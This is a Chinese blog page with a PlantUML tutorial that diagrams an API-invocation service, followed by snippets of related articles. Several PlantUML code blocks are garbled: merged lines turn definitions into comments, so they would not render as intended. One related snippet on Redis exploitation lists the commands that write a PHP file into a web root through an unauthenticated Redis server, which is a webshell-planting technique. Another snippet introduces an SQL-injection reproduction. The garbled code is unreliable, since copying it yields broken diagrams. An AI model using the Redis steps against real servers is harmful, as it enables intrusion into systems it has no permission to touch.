PlantUML 实战示例(使用 PlantUML 画用例图、类图、活动图、时序图)

目录

前言

需求场景

用例图

类图

活动图

时序图


前言

在软件开发的生命周期中,需要先进行设计,最后才是进行具体的编码和测试。设计时就需要画各种 UML 图,有专业的 UML 画图软件,也有很多在线的 UML 画图网站可以来画图,但是这些一般都是可视化界面,通过鼠标拖拽各种组件来画图,在画图时需要不停在键鼠直接来回切换——鼠标拖拽好组件,再用键盘打字补充说明,实际使用体验个人感觉非常难受。

PlantUML 是一个多功能组件,可快速、直接地创建图表。用户可以使用简单直观的语言起草各种图表。使用 PlantUML 就可以使用简单的文字描述来画 UML 图了。

本文演示用 PlantUML 设计一个模块,使用 PlantUML 来画用例图类图活动图时序图

具体的语法可以直接参考官方文档

使用简单的文字描述画UML图的开源工具。 (plantuml.com)icon-default.png?t=N7T8https://plantuml.com/zh/

需求场景

开发一个 api 调用服务,让用户自定义要调用 api 的各种配置,例如 api 的 url 地址,请求方式,query 参数名,header 参数名,body 参数名(表单或者json),api 返参等等,配置完成后,即可提供给其他系统模块进行调用。

api 提供一个调用的接口,其他系统模块调用时按照 api 配置的输入参数名称,传入对应的输入参数值,返回 api 调用模块配置的返参。

调用接口的整体逻辑可以抽象成以下几个步骤

  • 获取 api 配置信息
  • 构造请求参数
  • 构造请求头
  • 构造请求体
  • 校验必填字段
  • 调用 api
  • 校验 api 返回值
  • 返回 api 返回值

梳理好需求并将业务逻辑分解后,开始设计 UML。

用例图

PlantUML

@startuml
'https://plantuml.com/use-case-diagrampackage API模块 {(调用 API)(配置 API)
}:系统模块: --> (调用 API)
:配置人员: --> (配置 API)@enduml

类图

@startuml
'https://plantuml.com/class-diagramclass Service {- apiInfoMapper : ApiInfoMapper- apiQueryMapper : ApiQueryMapper- apiBodyMapper : ApiBodyMapper- apiResponseMapper : ApiResponseMapper+ call(Input) : Object
}interface ApiInfoMapper {}
interface ApiQueryMapper {}
interface ApiBodyMapper {}
interface ApiResponseMapper {}class ApiDO {- input : Input- field : Object- result : Object+ {static} build(Input) : ApiDO+ getBaseInfo(ApiInfoMapper) : ApiDO+ buildQuery() : ApiDO+ buildHeader() : ApiDO+ buildBody() : ApiDO+ checkRequiredFields(ApiQueryMapper, ApiBodyMapper) : ApiDO+ invoke() : ApiDO+ checkReturnResult(ApiResponseMapper) : ApiDO+ getResult() : Object
}note left of ApiDO::input前端入参
end note
note left of ApiDO::field业务处理过程中的中间变量
end note
note left of ApiDO::result业务处理后的返回结果
end noteclass Input {- apiId : String- apiQuery : Map<String, Object>- apiHeader : Map<String, Object>- apiBody : Map<String, Object>
}Service "1" --> "1" ApiInfoMapper
Service "1" --> "1" ApiQueryMapper
Service "1" --> "1" ApiBodyMapper
Service "1" --> "1" ApiResponseMapper
Service ..> Input
Service ..> ApiDOInput "1" <-- "1" ApiDO
ApiInfoMapper <.. ApiDO
ApiQueryMapper <.. ApiDO
ApiBodyMapper <.. ApiDO
ApiResponseMapper <.. ApiDO@enduml

活动图

@startuml
'https://plantuml.com/activity-diagram-betastart
:获取 api 基本信息;
if (api 是否存在?) then (true):构造请求参数;:构造请求头;:构造请求体;if (校验必填字段?) then (true):调用 api;if (校验 api 返回值?) then (true):返回 api 返回值;else (false):抛出错误信息;stop;endifelse (false):抛出错误信息;stopendif
else (false):抛出错误信息;stop
endif
stop;@enduml

时序图

@startuml
'https://plantuml.com/sequence-diagramparticipant Client
participant Controller
participant Service
participant ApiDO
participant Mapper
participant 第三方接口Client -> Controller ++ : 发起 api 调用请求Controller -> Controller: 校验入参Controller -> Service ++ : 委托业务层处理Service -> ApiDO **: buildService -> ApiDO ++ : 获取 api 基本信息
ApiDO -> Mapper ++ : 查询 api 基本信息
return api 基本信息
Service <-- ApiDO : ApiDO
Service -> ApiDO : 构造请求参数
Service <-- ApiDO : ApiDO
Service -> ApiDO : 构造请求头
Service <-- ApiDO : ApiDO
Service -> ApiDO : 构造请求体
Service <-- ApiDO : ApiDO
Service -> ApiDO : 校验必填字段
ApiDO -> Mapper ++ : 查询 query body 配置
return query body 配置
Service <-- ApiDO : ApiDO
Service -> ApiDO : 调用 api
ApiDO -> 第三方接口 ++ : http 请求
return 接口返回值
Service <-- ApiDO : ApiDO
Service -> ApiDO : 校验返回值
ApiDO -> Mapper ++ : 查询返回值配置
return 返回值配置
Service <-- ApiDO : ApiDO
Service -> ApiDO: 获取调用结果
Service <-- ApiDO -- : 调用结果Service --> Controller -- : 调用结果Controller --> Client -- : 调用结果@enduml

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/815544.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

哈希表函数 —— uthash的简单使用

目录标题 哈希表函数 —— uthash的简单使用添加头文件定义结构体哈希表的初始化哈希表的添加哈希表的添加哈希表的排序 哈希表函数 —— uthash的简单使用 添加头文件 在使用uthash函数实现哈希表前&#xff0c;要先添加头文件&#xff1a; #include "uthash.h"定…

Dubbo面试回答简单版

一、dubbo特性 超时重试机制地址缓存多版本负载均衡&#xff1a;随机、权重轮询、最少活跃调用、一致性哈希集群容错&#xff1a;失败重试、快速失败、失败安全、失败自动恢复、并行调用、广播服务降级&#xff1a;异常时返回mock 集群容错 FailOver 失败重试&#xff0c;读…

链表算法题总结(二十一天)

203. 移除链表元素 题目 给你一个链表的头节点 head 和一个整数 val &#xff0c;请你删除链表中所有满足 Node.val val 的节点&#xff0c;并返回 新的头节点 。 输入&#xff1a;head [1,2,6,3,4,5,6], val 6 输出&#xff1a;[1,2,3,4,5]示例 2&#xff1a; 输入&…

正方形(c++题解)

题目描述 给定一组不同长度的木棍&#xff0c;是否有可能将它们端对端地连接起来形成 个正方形? 输入格式 第1行输入包含N&#xff0c;即测试数据的数量。 每组测试数据第一个数为 &#xff0c;即木棒的根数。之后有 个整数&#xff0c; 每个都给出了一根棍子的长度 。 …

求存款本息和(C语言)

一、运行结果&#xff1b; 二、源代码&#xff1b; # define _CRT_SECURE_NO_WARNINGS # include <stdio.h> # include <math.h>int main() {//初始化变量值&#xff1b;double P 1000, r1 0.015, r2 0.021, r3 0.0275, r4 0.03, r5 0.0035;int judge 0;//…

富文本编辑器的下载安装使用

为什么选择vue-quill-editor&#xff1f; 在众多的富文本编辑器中&#xff0c;vue-quill-editor因其易用性、灵活性以及对Vue框架友好的特性而受到开发者的青睐。它基于Quill编辑器&#xff0c;Quill是一款现代的WYSIWYG&#xff08;所见即所得&#xff09;编辑器&#xff0c;…

【每日刷题】Day13

1. 1041. 困于环中的机器人 - 力扣&#xff08;LeetCode&#xff09; //思路&#xff1a;可以利用轴上四个方向的单位坐标表示机器人的运动。遍历字符串&#xff0c;根据字符串内容进行相应的行动。 bool isRobotBounded(char* instructions) { int arr[4][2] {{0,1},{1,0},{0…

Redis漏洞利用

未授权 可以利用超级弱口令工具来判断redis是否能未授权登录 telnet #尝试登录info #查看redis信息 RCE方法 写shell 需要写权限需要知道web网站路径 config set dir /var/www/html config set dbfilename redis.php set test "<?php phpinfo(); ?>" sa…

CF Educational Codeforces Round 164 Div.2 D. Colored Balls 题解

Colored Balls 题目描述 There are balls of n n n different colors; the number of balls of the i i i-th color is a i a_i ai​. The balls can be combined into groups. Each group should contain at most 2 2 2 balls, and no more than 1 1 1 ball of each c…

UI设计/交互设计/视觉设计项目汇报/作品集Figma/PPT模板

作为UI设计/交互设计/视觉设计师&#xff0c;创建作品集对于向潜在客户或雇主展示您的技能、创造力和风格至关重要。以下分步指南可帮助您创建令人印象深刻的作品集&#xff1a; 选择您的最佳作品&#xff1a;选择您最强大且最相关的设计项目&#xff0c;将其纳入您的作品集。…

AI人工智能讲师大模型培训讲师叶梓 大语言模型(LLM)在科学文献摘要领域的应用

大语言模型&#xff08;LLM&#xff09;在科学文献摘要领域的应用是一个前沿且迅速发展的技术趋势。通过结合GitHub上yobibyte的Compressor项目&#xff0c;我们可以深入探讨这一技术方案的潜力和实现方式。 技术背景 随着科学研究的快速发展&#xff0c;每天都有大量的科学文…

文件上传下载

文章目录 文件上传下载文件上传文件下载 文件上传下载 HTTP请求会包含一个请求头&#xff0c;其中"Content-Type"字段告诉服务器正在发送什么类型的数据。根据发送的数据类型&#xff0c;浏览器和服务器会采取适应的处理方式。 "multipart/form-data"是一…

基于8B/10BGT收发器的PHY层设计(1)

一、PHY层简介 PHY层&#xff08;Physical Layer&#xff09;是OSI模型中最低的一层&#xff0c;也是最基本的一层&#xff0c;PHY是物理接口收发器&#xff0c;它实现物理层。包括MII/GMII&#xff08;介质独立接口&#xff09;子层、PCS&#xff08;物理编码子层&#xff09…

王道汽车4S企业管理系统 SQL注入漏洞复现

0x01 产品简介 王道汽车4S企业管理系统(以下简称“王道4S系统”)是一套专门为汽车销售和维修服务企业开发的管理软件。该系统是博士德软件公司集10余年汽车行业管理软件研发经验之大成,精心打造的最新一代汽车4S企业管理解决方案。 0x02 漏洞概述 王道汽车4S企业管理系统…

SQL语言自用(持续更新)+实验记录

课本:《数据库原理及其应用教程》&#xff08;第四版&#xff09; (主编)黄德才&(副主编)陆亿红 实验&#xff1a;学校实验课材料 其他&#xff1a; [ ]表示可以被删除&#xff0c;也表示可以被替换&#xff0c;请自行判断。如果有一些截图或照片&#xff0c;是暂时懒得整…

5、LMDeploy 量化部署 LLMVLM实战(homework)

基础作业&#xff08;结营必做&#xff09; 完成以下任务&#xff0c;并将实现过程记录截图&#xff1a; 配置lmdeploy运行环境 由于环境依赖项存在torch&#xff0c;下载过程可能比较缓慢。InternStudio上提供了快速创建conda环境的方法。打开命令行终端&#xff0c;创建一…

富格林:专研正规技巧助力出金

富格林指出&#xff0c;现货黄金拥有诸多其他投资产品无法比拟的交易优势&#xff0c;如此一来吸引着越来越多投资者相继涌入现货黄金市场。但有不少投资者发现自己的出金效率与他人的有差异。为什么会这样呢&#xff1f;其实在现货黄金市场中需要有正规技巧的支持才可以更好地…

车牌校验正则表达式

1. 规则 传统车牌&#xff1a; 第一位为省份简称&#xff08;汉字&#xff09;&#xff0c;第二位为发牌机关代号&#xff08;A-Z的字母&#xff09;第3到第7位为序号&#xff08;由字母或数字组成&#xff0c;但不存在字母I和O&#xff0c;防止和数字1、0混淆&#xff0c;另外…

跨域问题CORS

所谓跨域访问&#xff0c;其底层就是访问是否同源的问题&#xff0c;跨域问题跟前端的关系不大&#xff0c;后台只要在服务器上配置好浏览器需要的 header 就可以解决跨域的问题。浏览器的请求为什么不能跨越&#xff0c;主要是为了安全&#xff0c;比如攻击者给用户发了一封邮…

鸿蒙开发快速入门

基本概念 ArkTS 因为ArkTS是基于Type Script扩展而来&#xff0c;是Type Script的超集&#xff0c;所以也可以关注一下Type Script的语法来理解ArkTS的语法 ArkUI HarmonyOS提供了一套UI开发框架&#xff0c;即方舟开发框架&#xff08;ArkUI框架&#xff09;。方舟开发框架…